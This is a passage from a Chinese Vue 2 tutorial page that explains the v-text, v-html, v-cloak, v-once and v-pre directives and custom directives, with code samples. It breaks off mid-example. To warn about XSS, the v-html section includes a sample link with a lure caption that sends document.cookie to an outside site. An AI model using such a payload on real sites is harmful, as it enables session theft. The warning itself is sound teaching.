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作用：向其所在的节点中渲染文本内容
与插值语法的区别：<code>v-text</code>会替换掉节点中的内容，<code></code>则不会，更灵活</p> <div class="language-html line-numbers-mode"><pre class="language-html"><code><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">&gt;</span></span>v-text指令<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>../js/vue.js<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>root<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">&gt;</span></span>你好，{{name}}<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">v-text</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>name<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">v-text</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>str<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token script"><span class="token language-javascript">
  Vue<span class="token punctuation">.</span>config<span class="token punctuation">.</span>productionTip <span class="token operator">=</span> <span class="token boolean">false</span>
  <span class="token keyword">new</span> <span class="token class-name">Vue</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
    <span class="token literal-property property">el</span><span class="token operator">:</span><span class="token string">'#root'</span><span class="token punctuation">,</span>
    <span class="token literal-property property">data</span><span class="token operator">:</span><span class="token punctuation">{</span>
      <span class="token literal-property property">name</span><span class="token operator">:</span><span class="token string">'hasakxu'</span><span class="token punctuation">,</span>
      <span class="token literal-property property">str</span><span class="token operator">:</span><span class="token string">'&lt;h3&gt;你好啊！&lt;/h3&gt;'</span>
    <span class="token punctuation">}</span>
  <span class="token punctuation">}</span><span class="token punctuation">)</span>
</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br><span class="line-number">15</span><br><span class="line-number">16</span><br><span class="line-number">17</span><br><span class="line-number">18</span><br><span class="line-number">19</span><br></div></div><p><img src="https://hasakwebblogimg.oss-cn-hangzhou.aliyuncs.com/202303172231917.png" alt="image.png"></p> <h4 id="_1-16-2-v-html-指令"><a href="#_1-16-2-v-html-指令" class="header-anchor">#</a> 1.16.2. v-html 指令</h4> <p><code>v-html</code>指令
作用：向指定节点中渲染包含html结构的内容
与插值语法的区别：</p> <ul><li><code>v-html</code>会替换掉节点中所有的内容，<code></code>则不会</li> <li><code>v-html</code>可以识别<code>html</code>结构</li></ul> <p>严重注意<code>v-html</code>有安全性问题！！！</p> <ul><li>在网站上动态渲染任意<code>html</code>是非常危险的，容易导致<code>XSS</code> 攻击</li> <li>一定要在可信的内容上使用<code>v-html</code>，永远不要用在用户提交的内容上！！！</li></ul> <div class="language-html line-numbers-mode"><pre class="language-html"><code><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">&gt;</span></span>v-html指令<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>../js/vue.js<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>root<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">&gt;</span></span>你好，{{ name }}<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">v-html</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>str<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">v-html</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>str2<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token script"><span class="token language-javascript">
  Vue<span class="token punctuation">.</span>config<span class="token punctuation">.</span>productionTip <span class="token operator">=</span> FontFaceSetLoadEvent
  <span class="token keyword">new</span> <span class="token class-name">Vue</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
    <span class="token literal-property property">el</span><span class="token operator">:</span><span class="token string">'#root'</span><span class="token punctuation">,</span>
    <span class="token literal-property property">data</span><span class="token operator">:</span><span class="token punctuation">{</span>
      <span class="token literal-property property">name</span><span class="token operator">:</span><span class="token string">'hasakxu'</span><span class="token punctuation">,</span>
      <span class="token literal-property property">str</span><span class="token operator">:</span><span class="token string">'&lt;h3&gt;你好啊！&lt;/h3&gt;'</span><span class="token punctuation">,</span>
      <span class="token literal-property property">str2</span><span class="token operator">:</span><span class="token string">'&lt;a href=javascript:location.href=&quot;http://www.baidu.com?&quot;+document.cookie&gt;兄弟我找到你想要的资源了，快来！&lt;/a&gt;'</span><span class="token punctuation">,</span>
    <span class="token punctuation">}</span>
  <span class="token punctuation">}</span><span class="token punctuation">)</span>
</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br><span class="line-number">15</span><br><span class="line-number">16</span><br><span class="line-number">17</span><br><span class="line-number">18</span><br><span class="line-number">19</span><br><span class="line-number">20</span><br></div></div><p><img src="https://hasakwebblogimg.oss-cn-hangzhou.aliyuncs.com/202303172233418.png" alt="image.png"></p> <h4 id="_1-16-3-v-cloak-指令"><a href="#_1-16-3-v-cloak-指令" class="header-anchor">#</a> 1.16.3. v-cloak 指令</h4> <p><code>v-cloak</code>指令（没有值）
a. 本质是一个特殊属性，<code>Vue</code>实例创建完毕并接管容器后，会删掉<code>v-cloak</code>属性
b.使用<code>css</code>配合<code>v-cloak</code>可以解决网速慢时页面展示出<code></code>的问题</p> <div class="language-html line-numbers-mode"><pre class="language-html"><code>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">&gt;</span></span>v-cloak指令<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">&gt;</span></span><span class="token style"><span class="token language-css">
  <span class="token selector">[v-cloak]</span> <span class="token punctuation">{</span>
    <span class="token property">display</span><span class="token punctuation">:</span>none<span class="token punctuation">;</span>
  <span class="token punctuation">}</span>
</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>root<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span> <span class="token attr-name">v-cloak</span><span class="token punctuation">&gt;</span></span>{{ name }}<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>

// 够延迟5秒收到vue.js
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>http://localhost:8080/resource/5s/vue.js<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token script"><span class="token language-javascript">
  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>
  Vue<span class="token punctuation">.</span>config<span class="token punctuation">.</span>productionTip <span class="token operator">=</span> <span class="token boolean">false</span>
  <span class="token keyword">new</span> <span class="token class-name">Vue</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
    <span class="token literal-property property">el</span><span class="token operator">:</span><span class="token string">'#root'</span><span class="token punctuation">,</span>
    <span class="token literal-property property">data</span><span class="token operator">:</span><span class="token punctuation">{</span><span class="token literal-property property">name</span><span class="token operator">:</span><span class="token string">'hasakxu'</span><span class="token punctuation">}</span>
  <span class="token punctuation">}</span><span class="token punctuation">)</span>
</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br><span class="line-number">15</span><br><span class="line-number">16</span><br><span class="line-number">17</span><br><span class="line-number">18</span><br><span class="line-number">19</span><br><span class="line-number">20</span><br><span class="line-number">21</span><br><span class="line-number">22</span><br><span class="line-number">23</span><br><span class="line-number">24</span><br></div></div><h4 id="_1-16-4-v-once-指令"><a href="#_1-16-4-v-once-指令" class="header-anchor">#</a> 1.16.4. v-once 指令</h4> <ul><li><code>v-once</code>所在节点在初次动态渲染后，就视为静态内容了</li> <li>以后数据的改变不会引起<code>v-once</code>所在结构的更新，可以用于优化性能</li></ul> <div class="language-html line-numbers-mode"><pre class="language-html"><code><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">&gt;</span></span>v-once指令<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>../js/vue.js<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>root<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span> <span class="token attr-name">v-once</span><span class="token punctuation">&gt;</span></span>初始化的n值是: {{n}}<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">&gt;</span></span>当前的n值是: {{n}}<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token attr-name">@click</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>n++<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span>点我n+1<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token script"><span class="token language-javascript">
  Vue<span class="token punctuation">.</span>config<span class="token punctuation">.</span>productionTip <span class="token operator">=</span> <span class="token boolean">false</span>
  <span class="token keyword">new</span> <span class="token class-name">Vue</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">el</span><span class="token operator">:</span> <span class="token string">'#root'</span><span class="token punctuation">,</span> <span class="token literal-property property">data</span><span class="token operator">:</span> <span class="token punctuation">{</span><span class="token literal-property property">n</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span>
</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br></div></div><p><img src="https://hasakwebblogimg.oss-cn-hangzhou.aliyuncs.com/202303172234709.png" alt="image.png"></p> <h4 id="_1-16-5-v-pre-指令"><a href="#_1-16-5-v-pre-指令" class="header-anchor">#</a> 1.16.5. v-pre 指令</h4> <ul><li>跳过<code>v-pre</code>所在节点的编译过程</li> <li>可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译</li></ul> <div class="language-html line-numbers-mode"><pre class="language-html"><code><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">&gt;</span></span>v-pre指令<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>../js/vue.js<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>root<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span> <span class="token attr-name">v-pre</span><span class="token punctuation">&gt;</span></span>Vue其实很简单<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span> <span class="token punctuation">&gt;</span></span>当前的n值是:{{n}}<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token attr-name">@click</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>n++<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span>点我n+1<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token script"><span class="token language-javascript">
  Vue<span class="token punctuation">.</span>config<span class="token punctuation">.</span>productionTip <span class="token operator">=</span> <span class="token boolean">false</span>
  <span class="token keyword">new</span> <span class="token class-name">Vue</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">el</span><span class="token operator">:</span><span class="token string">'#root'</span><span class="token punctuation">,</span> <span class="token literal-property property">data</span><span class="token operator">:</span><span class="token punctuation">{</span><span class="token literal-property property">n</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span>
</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br></div></div><p><img src="https://hasakwebblogimg.oss-cn-hangzhou.aliyuncs.com/202303172235688.png" alt="image.png"></p> <h3 id="_1-17-自定义指令"><a href="#_1-17-自定义指令" class="header-anchor">#</a> 1.17. 自定义指令</h3> <p><code>directives</code>
定义语法</p> <ol><li>局部指令</li></ol> <div class="language-javascript line-numbers-mode"><pre class="language-javascript"><code><span class="token keyword">new</span> <span class="token class-name">Vue</span><span class="token punctuation">(</span><span class="token punctuation">{</span>															
  <span class="token literal-property property">directives</span><span class="token operator">:</span><span class="token punctuation">{</span> 
    <span class="token literal-property property">指令名</span><span class="token operator">:</span>配置对象 
  <span class="token punctuation">}</span>   
<span class="token punctuation">}</span><span class="token punctuation">)</span>

<span class="token keyword">new</span> <span class="token class-name">Vue</span><span class="token punctuation">(</span><span class="token punctuation">{</span>															
  <span class="token literal-property property">directives</span><span class="token operator">:</span><span class="token punctuation">{</span> 
    <span class="token literal-property property">指令名</span><span class="token operator">:</span>回调函数 
  <span class="token punctuation">}</span>   
<span class="token punctuation">}</span><span class="token punctuation">)</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br></div></div><ol start="2"><li>全局指令</li></ol> <div class="language-JavaScript line-numbers-mode"><pre class="language-javascript"><code>Vue<span class="token punctuation">.</span><span class="token function">directive</span><span class="token punctuation">(</span>指令名<span class="token punctuation">,</span> 配置对象<span class="token punctuation">)</span>
或
Vue<span class="token punctuation">.</span><span class="token function">directive</span><span class="token punctuation">(</span>指令名<span class="token punctuation">,</span> 回调函数<span class="token punctuation">)</span>


Vue<span class="token punctuation">.</span><span class="token function">directive</span><span class="token punctuation">(</span><span class="token string">'fbind'</span><span class="token punctuation">,</span> <span class="token punctuation">{</span>
    <span class="token comment">// 指令与元素成功绑定时（一上来）</span>
    <span class="token function">bind</span><span class="token punctuation">(</span><span class="token parameter">element<span class="token punctuation">,</span> binding</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>	<span class="token comment">// element就是DOM元素，binding就是要绑定的</span>
      element<span class="token punctuation">.</span>value <span class="token operator">=</span> binding<span class="token punctuation">.</span>value
    <span class="token punctuation">}</span><span class="token punctuation">,</span>
    <span class="token comment">// 指令所在元素被插入页面时</span>
    <span class="token function">inserted</span><span class="token punctuation">(</span><span class="token parameter">element<span class="token punctuation">,</span> binding</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
      element<span class="token punctuation">.</span><span class="token function">focus</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
    <span class="token punctuation">}</span><span class="token punctuation">,</span>
    <span class="token comment">// 指令所在的模板被重新解析时</span>
    <span class="token function">update</span><span class="token punctuation">(</span><span class="token parameter">element<span class="token punctuation">,</span> binding</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
      element<span class="token punctuation">.</span>value <span class="token operator">=</span> binding<span class="token punctuation">.</span>value
    <span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br><span class="line-number">15</span><br><span class="line-number">16</span><br><span class="line-number">17</span><br><span class="line-number">18</span><br><span class="line-number">19</span><br></div></div><p><strong>配置对象中常用的3个回调函数</strong></p> <p><code>bind(element, binding)</code>	 指令与元素成功绑定时调用
<code>inserted(element, binding)</code>指令所在元素被插入页面时调用
<code>update(element, binding)</code>	 指令所在模板结构被重新解析时调用
<code>element</code>就是<code>DOM</code>元素，<code>binding</code>就是要绑定的对象，它包含以下属性：<code>name``value``oldValue``expression``arg``modifiers</code></p> <p><strong>备注</strong></p> <ul><li>指令定义时不加<code>v-</code>，但使用时要加<code>v-</code></li> <li>指令名如果是多个单词，要使用<code>kebab-case</code>命名方式，<strong>不要</strong>用<code>camelCase</code>命名</li></ul> <div class="language-javascript line-numbers-mode"><pre class="language-javascript"><code><span class="token keyword">new</span> <span class="token class-name">Vue</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
	<span class="token literal-property property">el</span><span class="token operator">:</span> <span class="token string">'#root'</span><span class="token punctuation">,</span>
	<span class="token literal-property property">data</span><span class="token operator">:</span> <span class="token punctuation">{</span>
		<span class="token literal-property property">n</span><span class="token operator">:</span><span class="token number">1</span>
	<span class="token punctuation">}</span><span class="token punctuation">,</span>
	<span class="token literal-property property">directives</span><span class="token operator">:</span> <span class="token punctuation">{</span>
		<span class="token string">'big-number'</span><span class="token punctuation">(</span>element<span class="token punctuation">,</span>binding<span class="token punctuation">)</span> <span class="token punctuation">{</span>
			element<span class="token punctuation">.</span>innerText <span class="token operator">=</span> binding<span class="token punctuation">.</span>value <span class="token operator">*</span> <span class="token number">10</span>
		<span class="token punctuation">}</span>
	<span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br></div></div><p>回顾一个DOM操作</p> <div class="language-html line-numbers-mode"><pre class="language-html"><code><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">&gt;</span></span><span class="token style"><span class="token language-css"><span class="token selector">.demo</span><span class="token punctuation">{</span><span class="token property">background-color</span><span class="token punctuation">:</span> orange<span class="token punctuation">;</span><span class="token punctuation">}</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>btn<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span>点我创建一个输入框<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span> <span class="token punctuation">&gt;</span></span><span class="token script"><span class="token language-javascript">
  <span class="token keyword">const</span> btn <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">'btn'</span><span class="token punctuation">)</span>
  btn<span class="token punctuation">.</span><span class="token function-variable function">onclick</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">=&gt;</span><span class="token punctuation">{</span>
    <span class="token keyword">const</span> input <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'input'</span><span class="token punctuation">)</span>

    input<span class="token punctuation">.</span>className <span class="token operator">=</span> <span class="token string">'demo'</span>
    input<span class="token punctuation">.</span>value <span class="token operator">=</span> <span class="token number">99</span>
    input<span class="token punctuation">.</span><span class="token function-variable function">onclick</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">=&gt;</span><span class="token punctuation">{</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">}</span>

    document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>input<span class="token punctuation">)</span>

    input<span class="token punctuation">.</span><span class="token function">focus</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
